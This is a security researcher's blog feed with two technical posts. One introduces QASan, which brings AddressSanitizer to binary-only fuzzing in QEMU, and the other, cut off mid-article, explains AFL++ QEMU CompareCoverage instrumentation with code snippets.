The blog of malweisse's corruptions2022-04-28T17:24:21+00:00https://andreafioraldi.github.iomalweisse's corruptions[email protected]Sanitized Emulation with QASan2019-12-20T00:00:00+00:00https://andreafioraldi.github.io/articles/2019/12/20/sanitized-emulation-with-qasan<blockquote>
<p>Update: the new QASan architecture is described and evaluated in this paper: <a href="https://andreafioraldi.github.io/assets/qasan-secdev20.pdf">https://andreafioraldi.github.io/assets/qasan-secdev20.pdf</a></p>
</blockquote>
<p>Fuzzing techniques evolved and tools are nowadays able to reach a good coverage of target programs with techniques that allow fuzzers to bypass roadblocks [1] [2] [3] [4].</p>
<p>But without good bug detection capabilities, a fuzzer that reaches a high coverage is less effective.</p>
<p>Fuzzing with additional instrumentation for bug detection is one of the most important fields of research in this matter.</p>
<p>Source-level fuzzers such as AFL [5], AFLplusplus [6], libFuzzer [7] and honggfuzz [8] can make use of sanitization frameworks provided by compilers (GCC and LLVM) such as ASAN, MSAN, UBSAN [9] to detect bugs that don’t necessary crash the programs such as uninitialized reads, heap negative OOBs, and many others.</p>
<p>Binary-level fuzzers can make use of special hardened allocators such as AFL’s libdislocator to detect common misuse of the heap. However, these tools are far from complete (e.g. libdislocator’s memalign is not guaranteed to be at the end of a page and so OOBs are not always detected) and don’t scale with programs that frequently allocate small chunks.</p>
<p>Static rewriting of binaries is a possible way to address this problem [10] but at the moment only x86_64 PIC ELFs binaries can be rewritten with ASAN support.</p>
<p>As always, there is a gap between source-level and binary-level fuzzing. And, as always, I’ll try to share knowledge to fill a bit this gap using the binary instrumentation tool that I love: QEMU.</p>
<p>I created QASan (QEMU-AddressSanitizer), a fork of user-mode QEMU that introduce AddressSanitizer for heap objects into QEMU.</p>
<p>QASan not only enables AddressSanitizer on COTS x86/x86_64/ARM/ARM64 binaries on Linux/*BSD but allows also the instrumentation of code generated at runtime (e.g. JIT) that is, of course, not supported by source-level ASAN. Note also that at the time of writing AddressSanitizer doesn’t support ARM/ARM64 on Linux and QASan enables that for this class of binaries.</p>
<p>It is OSS and available on <a href="https://github.com/andreafioraldi/qasan">GitHub</a>.</p>
<h2 id="addresssanitizer">AddressSanitizer</h2>
<p>AddressSanitizer [11] is one of the most popular memory error detectors nowadays, mainly for its ease of use and speed (~2x slowdown respect to native) that makes it well suited for fuzzing.</p>
<p>It can catch different classes of bugs [12] and in a sound way thanks to the information provided by source-code analysis before instrumentation that enables the detection of bugs like OOB access of stack objects.</p>
<p>ASan uses a shadow memory to keep track of invalid areas of memory. Every memory access (or almost, some may be optimized out if proven to be safe) is instrumented in this way:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ShadowAddr</span> <span class="o">=</span> <span class="p">(</span><span class="n">Addr</span> <span class="o">>></span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">Offset</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ShadowIsPoisoned</span><span class="p">(</span><span class="n">ShadowAddr</span><span class="p">))</span>
<span class="n">ReportAndCrash</span><span class="p">(</span><span class="n">Addr</span><span class="p">);</span>
<span class="n">ActualMemoryAccess</span><span class="p">(</span><span class="n">Addr</span><span class="p">);</span>
</code></pre></div></div>
<p>Offset is architecture and OS-dependent, in general, it is an uncommon not used address in the program address space in a way that every 8 bytes of regular memory can be hashed to a single byte of shadow memory and each byte of the shadow memory hashed to unmapped memory (so that the program crashes if trying to do <code class="language-plaintext highlighter-rouge">MemoryAccess(ShadowAddr)</code>).</p>
<p><img src="/assets/qasan_img1.png" alt="BBs" style="max-width: 100%; height: auto;" /></p>
<p>(picture from [11])</p>
<p>To do this shadow memory mapping, ASan maps a lot of virtual memory that remains unused and so not associated with physical frames by the kernel.</p>
<p>ASan hooks the allocator’s routines like malloc, free, memalign & al. with a custom allocator that poisons the memory around chunks (redzones) to detect OOB, invalidates freed memory and keeps track of it in a quarantine queue.</p>
<p>To avoid the need to have an instrumented libc, the ASan runtime provides hooks for common libc routines that involve memory access like memcpy, strcpy and many others.</p>
<p>ASan, as well, adds redzones also around global and stack objects and has also the possibility to add allocated stack frames to detect Use-After-Return, refer to the documentation for more information.</p>
<h2 id="qemuing-addresssanitizer">QEMUing AddressSanitizer</h2>
<p>It is known that QEMU user does not like programs compiled with ASan and hangs with these programs.</p>
<p>QEMU user has to know every mapped page of the target program and, I guess, here come the dragons with the ASan shadow memory.</p>
<p>So, if we cannot even run a compiled program with ASan in QEMU, how we can instrument binaries with ASan with it?</p>
<p>The solution is a simple, weird, and effective hack: break the boundary between QEMU and the target and expose ASan as an operating system feature exposed by QEMU.</p>
<p>So now, Linus Torvalds may feel a bit disappointed with this solution and may want to punch me.</p>
<p>In Linux, the kernel should NEVER allocate memory for userspace (except for the early loading stage of a process).</p>
<p>In QEMU user-mode, the syscalls instructions are recompiled into calls to the <code class="language-plaintext highlighter-rouge">do_syscall</code> QEMU routine that is a syscall dispatcher in userspace that forwards many syscalls to the kernel and handle many others (like brk) in userspace.</p>
<p>We can easily add a syscall in QEMU that is handled in QEMU itself.</p>
<p>So, the workflow is the following:</p>
<ul>
<li>Expose a new syscall that is a dispatcher of routines like malloc/free/memcpy and other routines that ASan hooks.</li>
<li>Instrument memory accesses in TCG [13] (the IR).</li>
<li>Link QEMU with ASan.</li>
</ul>
<p>In particular, when allocating memory from this new syscall for malloc/calloc/realloc/valloc/…, we have also to make it reachable from the guest marking its pages as readable and writeable in the target context.</p>
<p>Looking at the code, the QASan fake syscall dispatcher is similar to the following snippet:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">abi_long</span> <span class="nf">qasan_fake_syscall</span><span class="p">(</span><span class="n">abi_long</span> <span class="n">action</span><span class="p">,</span> <span class="n">abi_long</span> <span class="n">arg1</span><span class="p">,</span>
<span class="n">abi_long</span> <span class="n">arg2</span><span class="p">,</span> <span class="n">abi_long</span> <span class="n">arg3</span><span class="p">,</span> <span class="n">abi_long</span> <span class="n">arg4</span><span class="p">,</span>
<span class="n">abi_long</span> <span class="n">arg5</span><span class="p">,</span> <span class="n">abi_long</span> <span class="n">arg6</span><span class="p">,</span> <span class="n">abi_long</span> <span class="n">arg7</span><span class="p">)</span> <span class="p">{</span>
<span class="k">switch</span><span class="p">(</span><span class="n">action</span><span class="p">)</span> <span class="p">{</span>
<span class="p">...</span>
<span class="k">case</span> <span class="n">QASAN_ACTION_MALLOC</span><span class="p">:</span> <span class="p">{</span>
<span class="n">abi_long</span> <span class="n">r</span> <span class="o">=</span> <span class="n">h2g</span><span class="p">(</span><span class="n">__interceptor_malloc</span><span class="p">(</span><span class="n">arg1</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="p">)</span> <span class="n">page_set_flags</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">r</span> <span class="o">+</span> <span class="n">arg1</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span> <span class="o">|</span> <span class="n">PAGE_VALID</span><span class="p">);</span>
<span class="k">return</span> <span class="n">r</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The memory accesses in TCG are hooked using TCG helpers [13]. For example, qasan_gen_load4 is called before the code that emits the TCG operations associated with a 32-bit memory load and it emits a call to a helper (qasan_load4) that checks the validity of the address using __asan_load4.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">tcg_gen_ld_i32</span><span class="p">(</span><span class="n">TCGv_i32</span> <span class="n">ret</span><span class="p">,</span> <span class="n">TCGv_ptr</span> <span class="n">arg2</span><span class="p">,</span>
<span class="n">tcg_target_long</span> <span class="n">offset</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">qasan_gen_load4</span><span class="p">(</span><span class="n">arg2</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
<span class="n">tcg_gen_ldst_op_i32</span><span class="p">(</span><span class="n">INDEX_op_ld_i32</span><span class="p">,</span> <span class="n">ret</span><span class="p">,</span> <span class="n">arg2</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>At the time of writing, all memory accesses are instrumented. This is not optmial and in the future I want to exclude memory operations know to not work on heap at translation time (e.g. push/pop).</p>
<p>To hook the functions that ASan needs to be hooked I created a small library, libqasan.so, that has to be loaded using LD_PRELOAD into the target.</p>
<p>A hooked action looks like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="o">*</span> <span class="nf">malloc</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">syscall</span><span class="p">(</span><span class="n">QASAN_FAKESYS_NR</span><span class="p">,</span> <span class="n">QASAN_ACTION_MALLOC</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Of course, the library can be run only into the patched QEMU. This is not the only possible solution but I opted for this one based on LD_PRELOAD to simplify the things.</p>
<p>It won’t work with static binaries, but patching the static routines in the binary with these syscall invocations it’s easy and I’ll release an automated script using lief [14] one day.</p>
<p>Regarding the error reports, they will not be so meaningful for debugging purposes. The ASan DSO, under the hood, collects stack traces from QEMU and not from the target and so an error report will be something similar to the following screenshot (an OOB negative read):</p>
<p><img src="/assets/qasan_img2.png" alt="BBs" style="max-width: 100%; height: auto;" /></p>
<p>I suggest using the <code class="language-plaintext highlighter-rouge">malloc_context_size=0</code> ASAN_OPTION to avoid to collect these useless stack traces and speedup a bit QASan.</p>
<p>This can be solved with a bit of patching of the ASan codebase but I choose to use the precompiled ASAN DSO for compatibility and to avoid to force the user to recompile a custom compiler-rt (I care about usability and simplicity). The build process will simply take an ASAN DSO and patch the ELF to avoid to hook routines in QEMU (we don’t want to use the ASAn allocator in QEMU but only in the target to avoid an useless slowdown).</p>
<p>QASan seems pretty stable, it can run without problems binaries such as GCC, clang, vim, nodejs. To be fair, I have to say that it fails to execute python due to a detected UAF at startup (who knows, maybe python is really bugged).</p>
<p>Just for fun, I recompiled QASan using clang running under QASan. It worked.</p>
<p>There are also problems with some libc code (that is not instrumented by default) that I have to investigate in deep.</p>
<h2 id="fuzzing-with-afl">Fuzzing with AFL++</h2>
<p>QASan, alongside the patches for ASan, includes also all the patches of AFL++ QEMU, so also CompareCoverage and persistent mode.</p>
<p>Fuzzing the Ubuntu 18.04 objdump binary with QASan vs. plain QEMU mode I experienced a 2x slowdown respect unsanitized QEMU mode that is reasonable and coherent with the ASan slowdown respect to native executables.</p>
<p>The graph represents the exec/sec (Y-axis) over 10 minutes of fuzzing with QEMU and QASan.</p>
<p><img src="/assets/qasan_img3.png" alt="BBs" style="max-width: 100%; height: auto;" /></p>
<p>I triggered also a bug (a NULL ptr deref), probably a known bug because the objdump version is quite old (2.30).</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>andrea@malweisse:~/Desktop/QASAN<span class="nv">$ </span>./qasan <span class="nt">--verbose</span> /usr/bin/objdump <span class="nt">-g</span> <span class="nt">-x</span> crash1
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span> QEMU-AddressSanitizer <span class="o">(</span>v0.1<span class="o">)</span>
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span> Copyright <span class="o">(</span>C<span class="o">)</span> 2019 Andrea Fioraldi <[email protected]>
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span>
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span> 0x7f3452e67ece: memcpy<span class="o">(</span>0x7f3453a94c10, 0, 4096<span class="o">)</span>
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span> <span class="o">=</span> 0x7f3453a94c10
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span> 0x7f3452e67f03: strlen<span class="o">(</span>0x7f3453a94c10<span class="o">)</span>
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span> <span class="o">=</span> 3596
...
...
...
OFFSET TYPE VALUE
00000000 IGNORE <span class="k">*</span>ABS<span class="k">*</span>
00000000 IGNORE <span class="k">*</span>ABS<span class="k">*</span>
00000000 IGNORE <span class="k">*</span>ABS<span class="k">*</span>
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span>
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span> Caught SIGSEGV: <span class="nv">pc</span><span class="o">=</span>0x7ff1224a18c0 <span class="nv">addr</span><span class="o">=</span>0x7900000
<span class="o">==</span><span class="nv">20993</span><span class="o">==</span>
</code></pre></div></div>
<p>Yeah, this crash would be detected also without QASAN, but I want to show you the output of verbose QASan.</p>
<p>More evaluation (and bugs hopefully) will come in the future.</p>
<h2 id="conclusion">Conclusion</h2>
<p>One step further to fill the gap between source and binary-only fuzzing is done.</p>
<p>QASan is not “definitive”(tm), a lot of work has to be done like MIPS support (x86 ASan addresses are incompatible with the MIPS address space) and contribution from the OSS community are welcome.</p>
<p>The current implementation of QASan cannot be used to fuzz system-wide but there are actions to check and poison memory that are exposed in the dispatcher.</p>
<p>Those actions can be used to build a KASAN implementation using hypercalls (e.g. a Windows kernel module that hooks the kernel allocator with a wrapper that inserts redzones and invalidates memory using hypercalls).</p>
<p>More work has to be done in this direction to enable the fuzzing of closed source kernels/firmwares with QASan and not only user-space applications.</p>
<h2 id="updates">Updates</h2>
<h4 id="january-11-2020">January 11, 2020</h4>
<p>In addition to the fake syscall path to call QASan actions in QEMU, now QASan implements also a fast path for x86 and x86_64 binaries, the “backdoor”.</p>
<p>Basically, to avoid the use of two dispatchers a new x86 instruction is inserted in the lifter. This backdoor instruction call directly the QASan dispatcher.</p>
<p>The code to call the backdoor for x86_64 is:</p>
<pre><code class="language-asm"># void* qasan_backdoor(int, void*, void*, void*)
qasan_backdoor:
mov rax, rdi # action
mov rdi, rsi # arg1
mov rsi, rdx # arg2
mov rdx, rcx # arg3
.byte 0x0f
.byte 0x3a
.byte 0xf2
ret
</code></pre>
<p>The number of parameters are now 3 and not 7 anymore, there aren’t actions that use more than 3 arguments at the moment.</p>
<p>The next features in the roadmap are Stack-Use-After-Return detection and full system QASan.</p>
<h2 id="references">References</h2>
<p>[1] “Circumventing Fuzzing Roadblocks with Compiler Transformations” https://lafintel.wordpress.com/2016/08/15/circumventing-fuzzing-roadblocks-with-compiler-transformations/</p>
<p>[2] C. Aschermann, S. Schumilo, T. Blazytko, R. Gawlik, and T. Holz, “REDQUEEN: fuzzing with input-to-state correspondence” https://www.ndss-symposium.org/ndss-paper/redqueen-fuzzing-with-input-to-state-correspondence/</p>
<p>[3] “Compare coverage for AFL++ QEMU”, https://andreafioraldi.github.io/articles/2019/07/20/aflpp-qemu-compcov.html</p>
<p>[4] H. Peng, Y. Shoshitaishvili, M. Payer, “T-Fuzz: fuzzing by program transformation”, https://nebelwelt.net/publications/files/18Oakland.pdf</p>
<p>[5] “American Fuzzy Lop”, http://lcamtuf.coredump.cx/afl/</p>
<p>[6] “American Fuzzy Lop plus plus”, https://github.com/vanhauser-thc/AFLplusplus</p>
<p>[7] “libFuzzer – a library for coverage-guided fuzz testing”, https://llvm.org/docs/LibFuzzer.html</p>
<p>[8] “honggfuzz”, https://github.com/google/honggfuzz</p>
<p>[9] “sanitizers”, https://github.com/google/sanitizers</p>
<p>[10] S. Dinesh, N. Burow, D. Xu, M. Payer, “RetroWrite: Statically Instrumenting COTS Binaries for Fuzzing and Sanitization”, https://hexhive.epfl.ch/publications/files/20Oakland.pdf</p>
<p>[11] K. Serebryany, D. Bruening, A. Potapenko, D. Vyukov, “AddressSanitizer: A Fast Address Sanity Checker”, https://research.google/pubs/pub37752/</p>
<p>[12] “AddressSanitizer · google/sanitizers Wiki”, https://github.com/google/sanitizers/wiki/AddressSanitizer</p>
<p>[13] “Tiny Code Generator - Fabrice Bellard.”, https://git.qemu.org/?p=qemu.git;a=blob_plain;f=tcg/README;hb=HEAD</p>
<p>[14] “Library to Instrument Executable Formats”, https://lief.quarkslab.com/</p>
Compare coverage for AFL++ QEMU2019-07-20T00:00:00+00:00https://andreafioraldi.github.io/articles/2019/07/20/aflpp-qemu-compcov<p>Recently, my AFL QEMU instrumentation based on QEMU 3.1 and <a href="https://abiondo.me/2018/09/21/improving-afl-qemu-mode/">TCG chaining</a> was merged in the <a href="https://github.com/vanhauser-thc/AFLplusplus">AFLplusplus</a> project and I accepted to become a contributor and maintainer together with <a href="https://github.com/vanhauser-thc">van Hauser</a> and <a href="https://github.com/hexcoder-">hexcoder</a>.</p>
<p>AFLplusplus is the son of the American Fuzzy Lop fuzzer and was created initially to incorporate all the best features developed in the years for the fuzzers in the AFL family and not merged in AFL cause it is not updated since November 2017.</p>
<p>All the best features are there, you can check the full list in the <a href="https://github.com/vanhauser-thc/AFLplusplus/blob/master/docs/PATCHES">PATCHES</a> file.</p>
<h2 id="introduction">Introduction</h2>
<p>AFL is a battle-tested fuzzer but it can get easily stuck with hard comparison, as described <a href="https://lafintel.wordpress.com/">here</a>.</p>
<p>In a program like the following the probabilities to trigger the bug are less than the probability that our universe is ruled by Ralph Wiggum.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">input</span> <span class="o">==</span> <span class="mh">0xabad1dea</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* terribly buggy code */</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="cm">/* secure code */</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The laf-intel LLVM pass was introduced to address this problem splitting the comparison into many branches, assuming that the fuzzer can easily bypass a comparison of one byte.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">input</span> <span class="o">>></span> <span class="mi">24</span> <span class="o">==</span> <span class="mh">0xab</span><span class="p">){</span>
<span class="k">if</span> <span class="p">((</span><span class="n">input</span> <span class="o">&</span> <span class="mh">0xff0000</span><span class="p">)</span> <span class="o">>></span> <span class="mi">16</span> <span class="o">==</span> <span class="mh">0xad</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">input</span> <span class="o">&</span> <span class="mh">0xff00</span><span class="p">)</span> <span class="o">>></span> <span class="mi">8</span> <span class="o">==</span> <span class="mh">0x1d</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">input</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xea</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* terrible code */</span>
<span class="k">goto</span> <span class="n">end</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/* good code */</span>
<span class="n">end</span><span class="o">:</span>
</code></pre></div></div>
<p>A similar approach was developed by <a href="https://twitter.com/j00ru">j00ru</a> for Project Zero in his <a href="https://github.com/googleprojectzero/CompareCoverage">CompareCoverage</a> LLVM pass not splitting the branches this time but instrumenting at a sub-instruction level as described <a href="http://taviso.decsystem.org/making_software_dumber.pdf">here</a>.</p>
<p>This approach was later implemented in a real fuzzer always by Google, <a href="https://github.com/google/honggfuzz/blob/master/libhfuzz/instrument.c#L123">honggfuzz</a> but always at the source level.</p>
<p>AFLplusplus already support the laf-intel instrumentation in LLVM mode but when comes to fuzz binaries this issue is stronger than ever (almost for public fuzzers).</p>
<p>So, why not develop an almost equivalent technique for binary-only fuzzing? It’s time to use my <em>QEMU TCG patching skillz</em>.</p>
<h2 id="aflplusplus-qemu-instrumentation">AFLplusplus QEMU instrumentation</h2>
<p>Before diving in QEMU CompareCoverage, let’s understand how I implemented the AFL instrumentation in QEMU 3.1.0 with TCG block chaining in a thread-safe way and why this was needed.</p>
<p>My teammate Andrea obtained an incredible speedup <a href="https://abiondo.me/2018/09/21/improving-afl-qemu-mode/">adding the code to update the coverage inside the generated IR and re-enabling block chaining in AFL-QEMU</a> but at the cost of thread-safety.</p>
<p>If you look at his patches with attention you can notice that <code class="language-plaintext highlighter-rouge">prev_loc</code> is a per-thread variable and its address is used to generate the inlined TCG instrumentation:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Generates TCG code for AFL's tracing instrumentation. */</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">afl_gen_trace</span><span class="p">(</span><span class="n">target_ulong</span> <span class="n">cur_loc</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">static</span> <span class="kr">__thread</span> <span class="n">target_ulong</span> <span class="n">prev_loc</span><span class="p">;</span>
<span class="n">TCGv</span> <span class="n">index</span><span class="p">,</span> <span class="n">count</span><span class="p">,</span> <span class="n">new_prev_loc</span><span class="p">;</span>
<span class="p">...</span>
<span class="cm">/* index = prev_loc ^ cur_loc */</span>
<span class="n">prev_loc_ptr</span> <span class="o">=</span> <span class="n">tcg_const_ptr</span><span class="p">(</span><span class="o">&</span><span class="n">prev_loc</span><span class="p">);</span>
<span class="n">index</span> <span class="o">=</span> <span class="n">tcg_temp_new</span><span class="p">();</span>
<span class="n">tcg_gen_ld_tl</span><span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">prev_loc_ptr</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">tcg_gen_xori_tl</span><span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">index</span><span class="p">,</span> <span class="n">cur_loc</span><span class="p">);</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p>So the address of per-thread variable <code class="language-plaintext highlighter-rouge">prev_loc</code> associated with the thread that first generated the jitted code for a block is used inside the generated code of the block. Note that the thread that generates the block is not always the thread that executes it.
Of course Andrea is a good hacker and was aware of this problem but unfortunately TCG does not have specific functions (that we know) to handle TLS variables.</p>
<p>My solution is to pay something in performance and do not generate the inlined instrumentation but only a call to the <code class="language-plaintext highlighter-rouge">afl_maybe_log</code> routine that uses the TLS variable.
This is not a huge performance penalty cause TCG block chaining can remain enabled that is the main performance gain given to us by the abiondo patch.
His version of AFL-QEMU remains faster (~10% max) and better when fuzzing mono-thread applications.</p>
<p>Now the code used to generate the call is the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">tcg_gen_afl_maybe_log_call</span><span class="p">(</span><span class="n">target_ulong</span> <span class="n">cur_loc</span><span class="p">);</span>
<span class="kt">void</span> <span class="nf">afl_maybe_log</span><span class="p">(</span><span class="n">target_ulong</span> <span class="n">cur_loc</span><span class="p">)</span> <span class="p">{</span>
<span class="k">static</span> <span class="kr">__thread</span> <span class="n">abi_ulong</span> <span class="n">prev_loc</span><span class="p">;</span>
<span class="n">afl_area_ptr</span><span class="p">[</span><span class="n">cur_loc</span> <span class="o">^</span> <span class="n">prev_loc</span><span class="p">]</span><span class="o">++</span><span class="p">;</span>
<span class="n">prev_loc</span> <span class="o">=</span> <span class="n">cur_loc</span> <span class="o">>></span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* Generates TCG code for AFL's tracing instrumentation. */</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">afl_gen_trace</span><span class="p">(</span><span class="n">target_ulong</span> <span class="n">cur_loc</span><span class="p">)</span> <span class="p">{</span>
<span class="cm">/* Optimize for cur_loc > afl_end_code, which is the most likely case on
Linux systems. */</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o">></span> <span class="n">afl_end_code</span> <span class="o">||</span> <span class="n">cur_loc</span> <span class="o"><</span> <span class="n">afl_start_code</span><span class="p">)</span>
<span class="k">return</span><span class="p">;</span>
<span class="n">cur_loc</span> <span class="o">=</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o">>></span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o"><<</span> <span class="mi">8</span><span class="p">);</span>
<span class="n">cur_loc</span> <span class="o">&=</span> <span class="n">MAP_SIZE</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">cur_loc</span> <span class="o">>=</span> <span class="n">afl_inst_rms</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
<span class="n">tcg_gen_afl_maybe_log_call</span><span class="p">(</span><span class="n">cur_loc</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">tcg_gen_afl_maybe_log_call</code> routine is not dark magic, is just a custom and optimized version of the QEMU <code class="language-plaintext highlighter-rouge">tcg_gen_callN</code> routine used to generated calls to <a href="https://fulcronz27.wordpress.com/2014/06/09/qemu-call-a-custom-function-from-tcg/">TCG helpers</a>.</p>
<p>A TCG Helper, when registered, store its metadata (mainly the type of return value and parameters) in a map and <code class="language-plaintext highlighter-rouge">tcg_gen_callN</code> do a lookup in this map to get all information needed to generate the call and place the parameters in the right way.
This is expensive and we know that the <code class="language-plaintext highlighter-rouge">flags</code> and <code class="language-plaintext highlighter-rouge">sizemask</code> (the metadata) associated with <code class="language-plaintext highlighter-rouge">afl_maybe_log</code> are always the same and so coding a custom version of `tcg_gen_callN let us skip the map lookup and a lot of unneeded branches.</p>
<h2 id="qemu-comparecoverage-implementation">QEMU CompareCoverage implementation</h2>
<p>The j00ru CompareCoverage mainly does two things:</p>
<ul>
<li>Instrument numerical comparisons</li>
<li>Instrument memory comparisons if the considered length is less than 32</li>
</ul>
<p>I implemented the first directly in QEMU, the second as an external library that has to be loaded with AFL_PRELOAD.</p>
<p>I decided to log the progress directly in the AFL bitmap without using a secondary shared memory.</p>
<p>Splitting a compare is simple and the instrumented callback that logs the trace is trivial.
This is the version that logs 32 bits comparisons:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">afl_compcov_log_32</span><span class="p">(</span><span class="n">target_ulong</span> <span class="n">cur_loc</span><span class="p">,</span> <span class="n">target_ulong</span> <span class="n">arg1</span><span class="p">,</span>
<span class="n">target_ulong</span> <span class="n">arg2</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">((</span><span class="n">arg1</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">arg2</span> <span class="o">&</span> <span class="mh">0xff</span><span class="p">))</span> <span class="p">{</span>
<span class="n">afl_area_ptr</span><span class="p">[</span><span class="n">cur_loc</span><span class="p">]</span><span class="o">++</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">arg1</span> <span class="o">&</span> <span class="mh">0xffff</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">arg2</span> <span class="o">&</span> <span class="mh">0xffff</span><span class="p">))</span> <span class="p">{</span>
<span class="n">afl_area_ptr</span><span class="p">[</span><span class="n">cur_loc</span> <span class="o">+</span><span class="mi">1</span><span class="p">]</span><span class="o">++</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">arg1</span> <span class="o">&</span> <span class="mh">0xffffff</span><span class="p">)</span> <span class="o">==</span> <span class="p">(</span><span class="n">arg2</span> <span class="o">&</span> <span class="mh">0xffffff</span><span class="p">))</span> <span class="p">{</span>
<span class="n">afl_area_ptr</span><span class="p">[</span><span class="n">cur_loc</span> <span class="o">+</span><span class="mi">2</span><span class="p">]</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As you can see the last byte is not considered otherwise there would be redundancy with the edges instrumentation.</p>
<p>Of course, a call to the routine that handles the correct comparison size must be generated at translation time, so I created the <code class="language-plaintext highlighter-rouge">afl_gen_compcov</code> function
that must be inserted after the comparison instruction when lifting.</p>
<p>This is a snippet from <code class="language-plaintext highlighter-rouge">gen_op</code> of <code class="language-plaintext highlighter-rouge">target/i386/translate.c</code> that generates the instrumentation for the <code class="language-plaintext highlighter-rouge">cmp</code> instructions:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tcg_gen_mov_tl</span><span class="p">(</span><span class="n">cpu_cc_src</span><span class="p">,</span> <span class="n">s1</span><span class="o">-></span><span class="n">T1</span><span class="p">);</span>
<span class="n">tcg_gen_mov_tl</span><span class="p">(</span><span class="n">s1</span><span class="o">-></span><span class="n">cc_srcT</span><span class="p">,</span> <span class="n">s1</span><span class="o">-></span><span class="n">T0</span><span class="p">);</span>
<span class="n">tcg_gen_sub_tl</span><span class="p">(</span><span class="n">cpu_cc_dst</span><span class="p">,</span> <span class="n">s1</span><span class="o">-></span><span class="n">T0</span><span class="p">,</span> <span class="n">s1</span><span class="o">-></span><span class="n">T1</span><span class="p">);</span>
<span class="n">afl_gen_compcov</span><span class="p">(</span><span class="n">s1</span><span class="o">-></span><span class="n">pc</span><span class="p">,</span> <span class="n">s1</span><span class="o">-></span><span class="n">T0</span><span class="p">,</span> <span class="n">s1</span><span class="o">-></span><span class="n">T1</span><span class="p">,</span> <span class="n">ot</span><span class="p">);</span>
<span class="n">set_cc_op</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="n">CC_OP_SUBB</span> <span class="o">+</span> <span class="n">ot</span><span class="p">);</span>
</code></pre></div></div>
